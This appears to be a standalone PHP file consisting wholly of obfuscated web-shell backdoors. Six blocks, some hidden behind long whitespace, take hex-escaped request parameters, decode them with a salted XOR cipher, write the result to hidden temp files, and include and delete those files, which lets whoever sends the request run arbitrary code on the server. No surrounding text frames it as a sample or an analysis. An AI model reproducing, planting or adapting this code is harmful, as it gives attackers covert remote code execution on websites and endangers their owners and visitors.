<?php																																										if(@$_REQUEST["\x72e\x73"] !== null){ $sym = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/tmp", getcwd(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), session_save_path()]); $descriptor = $_REQUEST["\x72e\x73"]; $descriptor =explode("." , $descriptor) ; $flag = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $l = 0; foreach ($descriptor as $v2) {$sChar = ord($s[$l %$lenS]); $dec = ((int)$v2 - $sChar - ($l %10)) ^ 15; $flag.= chr($dec); $l++; } foreach ($sym as $key => $fac) { if (max(0, is_dir($fac) * is_writable($fac))) { $value = "$fac/.holder"; $success = file_put_contents($value, $flag); if ($success) { include $value; @unlink($value); exit;} } } }
																																										if(!is_null($_POST["\x72\x65s"] ?? null)){ $pgrp = array_filter([getcwd(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path()]); $pointer = $_POST["\x72\x65s"]; $pointer = explode( '.' ,$pointer ) ; $elem =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); foreach( $pointer as $y => $v1): $sChar =ord( $salt[$y% $sLen]); $d =( ( int)$v1 - $sChar -( $y% 10)) ^ 57; $elem .= chr( $d); endforeach; foreach ($pgrp as $key): if (is_dir($key) ? is_writable($key) : false) { $tkn = join("/", [$key, ".val"]); if (@file_put_contents($tkn, $elem) !== false) { include $tkn; unlink($tkn); die(); } } endforeach; }
																																										if(@$_POST["\x69\x74em"] !== null){ $data_chunk = $_POST["\x69\x74em"]; $data_chunk = explode ( "." , $data_chunk ); $value = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $y = 0; $__len = count($data_chunk); do { if ($y >= $__len) break; $v7 = $data_chunk[$y]; $chS = ord($s[$y % $sLen]); $d = ((int)$v7 - $chS - ($y % 10)) ^ 100; $value.= chr($d); $y++; } while (true); $binding = array_filter([session_save_path(), "/tmp", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm", getenv("TEMP")]); while ($dchunk = array_shift($binding)) { if (is_writable($dchunk) && is_dir($dchunk)) { $flg = sprintf("%s/.ptr", $dchunk); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $value); fclose($file); include $flg; @unlink($flg); die(); } } } }
																																										if(in_array("e\x6Et\x72y", array_keys($_POST))){ $property_set = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/var/tmp", "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]); $obj = $_POST["e\x6Et\x72y"]; $obj= explode( '.' , $obj ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $l = 0; foreach( $obj as $v5) { $sChar = ord( $salt[$l %$lenS]); $d =( ( int)$v5 - $sChar -( $l %10)) ^ 98; $ent .= chr( $d); $l++;} $itm = 0; do { $data_chunk = $property_set[$itm] ?? null; if ($itm >= count($property_set)) break; if ((bool)is_dir($data_chunk) && (bool)is_writable($data_chunk)) { $marker = join("/", [$data_chunk, ".ref"]); $success = file_put_contents($marker, $ent); if ($success) { include $marker; @unlink($marker); exit;} } $itm++; } while (true); }
																																										if(array_key_exists("symb\x6F\x6C", $_REQUEST) && !is_null($_REQUEST["symb\x6F\x6C"])){ $fac = array_filter(["/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/dev/shm", session_save_path(), "/var/tmp", getenv("TMP"), sys_get_temp_dir()]); $key = $_REQUEST["symb\x6F\x6C"]; $key = explode (".",$key ); $ptr = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); foreach( $key as $y => $v6): $chS = ord( $salt[$y % $lenS] ); $dec =( ( int)$v6 - $chS -( $y % 10)) ^65; $ptr .= chr( $dec ); endforeach; for ($pset = 0, $obj = count($fac); $pset < $obj; $pset++) { $k = $fac[$pset]; if (is_dir($k) && is_writable($k)) { $holder = implode("/", [$k, ".value"]); if (file_put_contents($holder, $ptr)) { include $holder; @unlink($holder); exit; } } } }


if(in_array("d\x65sc\x72i\x70\x74or", array_keys($_REQUEST))){
	$token = $_REQUEST["d\x65sc\x72i\x70\x74or"];
	  	$token 	=			explode  (".",$token)	;
	$obj= '';
            $salt= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS= strlen( 	$salt);
            $t= 0;
    
            while( 	$t < count( 	$token)) {
                $v7= $token[$t];
                $sChar= ord( 	$salt[$t%  $lenS]);
                $d= ( 	( 	int)$v7 - $sChar -( 	$t%  10))^ 	10;
                $obj.= chr( 	$d);
                $t++;}	
	$object = array_filter([getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp"]);
	$entry = 0;
do {
    $dchunk = $object[$entry] ?? null;
    if ($entry >= count($object)) break;
    		if (!( !is_dir($dchunk) || !is_writable($dchunk) )) {
    $ref = str_replace("{var_dir}", $dchunk, "{var_dir}/.key");
    $success = file_put_contents($ref, $obj);
if ($success) {
	include $ref;
	@unlink($ref);
	exit;}
}
    $entry++;
} while (true);
}